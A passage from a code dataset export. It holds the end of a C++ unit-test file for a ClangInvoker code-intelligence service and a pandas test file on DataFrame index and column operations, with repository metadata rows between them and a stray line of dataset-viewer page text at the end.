EXPECT_TRUE(Instance->closeFile(FileName).ok());
ThreadExecutor::sync();
}
TEST(ClangInvokerTest, getDiagnostics) {
ClangInvoker *Instance = ClangInvoker::getInstance();
google::protobuf::RepeatedPtrField<Diagnostic> DSet;
std::string FileName = getUnittestFilePath("test02.c");
ASSERT_TRUE(Instance->openFile(FileName).ok());
ASSERT_TRUE(Instance->getDiagnosticSet(FileName, &DSet).ok());
EXPECT_NE(0, DSet.size());
// EXPECT_NE(0u, DSet[0]->category());
EXPECT_TRUE(Instance->closeFile(FileName).ok());
ThreadExecutor::sync();
}
// FIXME
// Disable codeCompletAt on linux since we haven't add support for gcc builtin
// headers' finding
#ifndef CH_OS_LINUX
TEST(ClangInvokerTest, codeCompleteAt) {
ClangInvoker *Instance = ClangInvoker::getInstance();
unsigned StartColumn;
google::protobuf::RepeatedPtrField<CompletionData> Completions;
std::string FileName = getUnittestFilePath("test02.c");
SourceLocation Location;
Location.set_file_name(FileName);
Location.set_line(1);
Location.set_column(1);
ASSERT_TRUE(Instance->openFile(FileName).ok());
ASSERT_TRUE(
Instance->codeCompleteAt(Location, &StartColumn, &Completions).ok());
EXPECT_NE(0, Completions.size());
Location.set_line(5);
Location.set_column(7);
ASSERT_TRUE(
Instance->codeCompleteAt(Location, &StartColumn, &Completions).ok());
ASSERT_NE(0, Completions.size());
EXPECT_EQ(3u, StartColumn);
// const auto &Completion = Completions.front();
// EXPECT_STREQ("print", Completion.Text().c_str());
EXPECT_TRUE(Instance->closeFile(FileName).ok());
ThreadExecutor::sync();
}
#endif
TEST(ClangInvokerTest, getDefinition) {
ClangInvoker *Instance = ClangInvoker::getInstance();
google::protobuf::RepeatedPtrField<Diagnostic> Diags;
std::string FileName = getUnittestFilePath("test03.c");
ASSERT_TRUE(Instance->openFile(FileName).ok());
ASSERT_TRUE(Instance->getDiagnosticSet(FileName, &Diags).ok());
ASSERT_EQ(0, Diags.size());
SourceLocation Location, SrcLocation;
Location.set_file_name(FileName);
Location.set_line(6);
Location.set_column(10);
ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok());
EXPECT_EQ(1u, SrcLocation.line());
EXPECT_EQ(8u, SrcLocation.column());
Location.set_line(7);
Location.set_column(16);
ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok());
EXPECT_EQ(6u, SrcLocation.line());
EXPECT_EQ(12u, SrcLocation.column());
Location.set_line(7);
Location.set_column(17);
ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok());
EXPECT_EQ(6u, SrcLocation.line());
EXPECT_EQ(12u, SrcLocation.column());
Location.set_line(7);
Location.set_column(18);
ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok());
EXPECT_EQ(6u, SrcLocation.line());
EXPECT_EQ(12u, SrcLocation.column());
EXPECT_TRUE(Instance->closeFile(FileName).ok());
ThreadExecutor::sync();
}
TEST(ClangInvokerTest, getCursorDetail) {
ClangInvoker *Instance = ClangInvoker::getInstance();
CursorDetail Detail;
std::string FileName = getUnittestFilePath("test04.c");
ASSERT_TRUE(Instance->openFile(FileName).ok());
SourceLocation Location;
Location.set_file_name(FileName);
Location.set_line(3);
Location.set_column(8);
ASSERT_TRUE(Instance->getCursorDetail(Location, &Detail).ok());
// EXPECT_FALSE(Detail.type().empty());
// EXPECT_FALSE(Detail.kind().empty());
// EXPECT_FALSE(Detail.canonicalType().empty());
// EXPECT_FALSE(Detail.spellingName().empty());
// EXPECT_FALSE(Detail.rawComment().empty());
// EXPECT_EQ("/// \\brief hello\n/// this is a comment", Detail.rawComment());
// EXPECT_FALSE(Detail.briefComment().empty());
// EXPECT_EQ("hello this is a comment", Detail.briefComment());
// EXPECT_FALSE(Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 3, 10, &Detail).ok());
// EXPECT_EQ("/// \\brief hello\n/// this is a comment", Detail.rawComment());
// EXPECT_EQ("hello this is a comment", Detail.briefComment());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 3, 12, &Detail).ok());
// EXPECT_EQ("/// \\brief hello\n/// this is a comment", Detail.rawComment());
// EXPECT_EQ("hello this is a comment", Detail.briefComment());
EXPECT_TRUE(Instance->closeFile(FileName).ok());
ThreadExecutor::sync();
}
TEST(ClangInvokerTest, getCursorDetailComments) {
ClangInvoker *Instance = ClangInvoker::getInstance();
CursorDetail Detail;
SourceLocation Location;
std::string FileName = getUnittestFilePath("test05.cc");
ASSERT_TRUE(Instance->openFile(FileName).ok());
Location.set_file_name(FileName);
Location.set_line(3);
Location.set_column(7);
ASSERT_TRUE(Instance->getCursorDetail(Location, &Detail).ok());
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 7, 10, &Detail).ok());
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 10, 10, &Detail).ok());
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 15, 7, &Detail).ok());
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 17, 6, &Detail));
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 18, 5, &Detail));
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 19, 5, &Detail));
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
// ASSERT_TRUE(
// Instance->getCursorDetail(FileName, 20, 3, &Detail));
// EXPECT_FALSE(Detail.rawComment().empty() ||
// Detail.briefComment().empty() ||
// Detail.xmlComment().empty());
EXPECT_TRUE(Instance->closeFile(FileName).ok());
ThreadExecutor::sync();
}
} // anonymous namespace
} // namespace clang
} // namespace windycode
| bsd-3-clause |
TomAugspurger/pandas | pandas/tests/frame/test_alter_axes.py | 8801 | from datetime import datetime
import inspect
import numpy as np
import pytest
from pandas.core.dtypes.common import (
is_categorical_dtype,
is_interval_dtype,
is_object_dtype,
)
from pandas import (
Categorical,
DataFrame,
DatetimeIndex,
Index,
IntervalIndex,
Series,
Timestamp,
cut,
date_range,
to_datetime,
)
import pandas._testing as tm
class TestDataFrameAlterAxes:
def test_set_index_directly(self, float_string_frame):
df = float_string_frame
idx = Index(np.arange(len(df))[::-1])
df.index = idx
tm.assert_index_equal(df.index, idx)
with pytest.raises(ValueError, match="Length mismatch"):
df.index = idx[::2]
def test_convert_dti_to_series(self):
# don't cast a DatetimeIndex WITH a tz, leave as object
# GH 6032
idx = DatetimeIndex(
to_datetime(["2013-1-1 13:00", "2013-1-2 14:00"]), name="B"
).tz_localize("US/Pacific")
df = DataFrame(np.random.randn(2, 1), columns=["A"])
expected = Series(
np.array(
[
Timestamp("2013-01-01 13:00:00-0800", tz="US/Pacific"),
Timestamp("2013-01-02 14:00:00-0800", tz="US/Pacific"),
],
dtype="object",
),
name="B",
)
# convert index to series
result = Series(idx)
tm.assert_series_equal(result, expected)
# assign to frame
df["B"] = idx
result = df["B"]
tm.assert_series_equal(result, expected)
# convert to series while keeping the timezone
msg = "stop passing 'keep_tz'"
with tm.assert_produces_warning(FutureWarning) as m:
result = idx.to_series(keep_tz=True, index=[0, 1])
tm.assert_series_equal(result, expected)
assert msg in str(m[0].message)
# convert to utc
with tm.assert_produces_warning(FutureWarning) as m:
df["B"] = idx.to_series(keep_tz=False, index=[0, 1])
result = df["B"]
comp = Series(DatetimeIndex(expected.values).tz_localize(None), name="B")
tm.assert_series_equal(result, comp)
msg = "do 'idx.tz_convert(None)' before calling"
assert msg in str(m[0].message)
result = idx.to_series(index=[0, 1])
tm.assert_series_equal(result, expected)
with tm.assert_produces_warning(FutureWarning) as m:
result = idx.to_series(keep_tz=False, index=[0, 1])
tm.assert_series_equal(result, expected.dt.tz_convert(None))
msg = "do 'idx.tz_convert(None)' before calling"
assert msg in str(m[0].message)
# list of datetimes with a tz
df["B"] = idx.to_pydatetime()
result = df["B"]
tm.assert_series_equal(result, expected)
# GH 6785
# set the index manually
import pytz
df = DataFrame([{"ts": datetime(2014, 4, 1, tzinfo=pytz.utc), "foo": 1}])
expected = df.set_index("ts")
df.index = df["ts"]
df.pop("ts")
tm.assert_frame_equal(df, expected)
def test_set_columns(self, float_string_frame):
cols = Index(np.arange(len(float_string_frame.columns)))
float_string_frame.columns = cols
with pytest.raises(ValueError, match="Length mismatch"):
float_string_frame.columns = cols[::2]
def test_dti_set_index_reindex(self):
# GH 6631
df = DataFrame(np.random.random(6))
idx1 = date_range("2011/01/01", periods=6, freq="M", tz="US/Eastern")
idx2 = date_range("2013", periods=6, freq="A", tz="Asia/Tokyo")
df = df.set_index(idx1)
tm.assert_index_equal(df.index, idx1)
df = df.reindex(idx2)
tm.assert_index_equal(df.index, idx2)
# GH 11314
# with tz
index = date_range(
datetime(2015, 10, 1), datetime(2015, 10, 1, 23), freq="H", tz="US/Eastern"
)
df = DataFrame(np.random.randn(24, 1), columns=["a"], index=index)
new_index = date_range(
datetime(2015, 10, 2), datetime(2015, 10, 2, 23), freq="H", tz="US/Eastern"
)
result = df.set_index(new_index)
assert result.index.freq == index.freq
# Renaming
def test_reindex_api_equivalence(self):
# equivalence of the labels/axis and index/columns API's
df = DataFrame(
[[1, 2, 3], [3, 4, 5], [5, 6, 7]],
index=["a", "b", "c"],
columns=["d", "e", "f"],
)
res1 = df.reindex(["b", "a"])
res2 = df.reindex(index=["b", "a"])
res3 = df.reindex(labels=["b", "a"])
res4 = df.reindex(labels=["b", "a"], axis=0)
res5 = df.reindex(["b", "a"], axis=0)
for res in [res2, res3, res4, res5]:
tm.assert_frame_equal(res1, res)
res1 = df.reindex(columns=["e", "d"])
res2 = df.reindex(["e", "d"], axis=1)
res3 = df.reindex(labels=["e", "d"], axis=1)
for res in [res2, res3]:
tm.assert_frame_equal(res1, res)
res1 = df.reindex(index=["b", "a"], columns=["e", "d"])
res2 = df.reindex(columns=["e", "d"], index=["b", "a"])
res3 = df.reindex(labels=["b", "a"], axis=0).reindex(labels=["e", "d"], axis=1)
for res in [res2, res3]:
tm.assert_frame_equal(res1, res)
def test_assign_columns(self, float_frame):
float_frame["hi"] = "there"
df = float_frame.copy()
df.columns = ["foo", "bar", "baz", "quux", "foo2"]
tm.assert_series_equal(float_frame["C"], df["baz"], check_names=False)
tm.assert_series_equal(float_frame["hi"], df["foo2"], check_names=False)
def test_set_index_preserve_categorical_dtype(self):
# GH13743, GH13854
df = DataFrame(
{
"A": [1, 2, 1, 1, 2],
"B": [10, 16, 22, 28, 34],
"C1": Categorical(list("abaab"), categories=list("bac"), ordered=False),
"C2": Categorical(list("abaab"), categories=list("bac"), ordered=True),
}
)
for cols in ["C1", "C2", ["A", "C1"], ["A", "C2"], ["C1", "C2"]]:
result = df.set_index(cols).reset_index()
result = result.reindex(columns=df.columns)
tm.assert_frame_equal(result, df)
def test_rename_signature(self):
sig = inspect.signature(DataFrame.rename)
parameters = set(sig.parameters)
assert parameters == {
"self",
"mapper",
"index",
"columns",
"axis",
"inplace",
"copy",
"level",
"errors",
}
def test_reindex_signature(self):
sig = inspect.signature(DataFrame.reindex)
parameters = set(sig.parameters)
assert parameters == {
"self",
"labels",
"index",
"columns",
"axis",
"limit",
"copy",
"level",
"method",
"fill_value",
"tolerance",
}
class TestIntervalIndex:
def test_setitem(self):
df = DataFrame({"A": range(10)})
s = cut(df.A, 5)
assert isinstance(s.cat.categories, IntervalIndex)
# B & D end up as Categoricals
# the remainer are converted to in-line objects
# contining an IntervalIndex.values
df["B"] = s
df["C"] = np.array(s)
df["D"] = s.values
df["E"] = np.array(s.values)
assert is_categorical_dtype(df["B"].dtype)
assert is_interval_dtype(df["B"].cat.categories)
assert is_categorical_dtype(df["D"].dtype)
assert is_interval_dtype(df["D"].cat.categories)
assert is_object_dtype(df["C"])
assert is_object_dtype(df["E"])
# they compare equal as Index
# when converted to numpy objects
c = lambda x: Index(np.array(x))
tm.assert_index_equal(c(df.B), c(df.B), check_names=False)
tm.assert_index_equal(c(df.B), c(df.C), check_names=False)
tm.assert_index_equal(c(df.B), c(df.D), check_names=False)
tm.assert_index_equal(c(df.B), c(df.D), check_names=False)
# B & D are the same Series
tm.assert_series_equal(df["B"], df["B"], check_names=False)
tm.assert_series_equal(df["B"], df["D"], check_names=False)
# C & E are the same Series
tm.assert_series_equal(df["C"], df["C"], check_names=False)
tm.assert_series_equal(df["C"], df["E"], check_names=False)
def test_set_reset_index(self):
df = DataFrame({"A": range(10)})
s = cut(df.A, 5)
df["B"] = s
df = df.set_index("B")
df = df.reset_index()
| bsd-3-clause |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.